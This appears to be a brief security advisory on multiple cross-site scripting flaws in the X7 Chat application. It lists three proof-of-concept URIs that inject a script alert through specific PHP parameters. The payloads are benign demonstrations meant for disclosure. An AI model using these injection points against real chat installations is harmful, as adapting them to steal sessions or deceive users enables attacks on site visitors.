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X7 Chat Multiple Cross Site Scripting Vulnerabilities

To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.

The following proof-of-concept URIs are available:

http://www.example.com/upgradev1.php?INSTALL_X7CHATVERSION=<script>alert(123);</script>
http://www.example.com/help/index.php?theme_c=<script>alert(123);</script>
http://www.example.com/sources/frame.php?room=<script>alert(123);</script>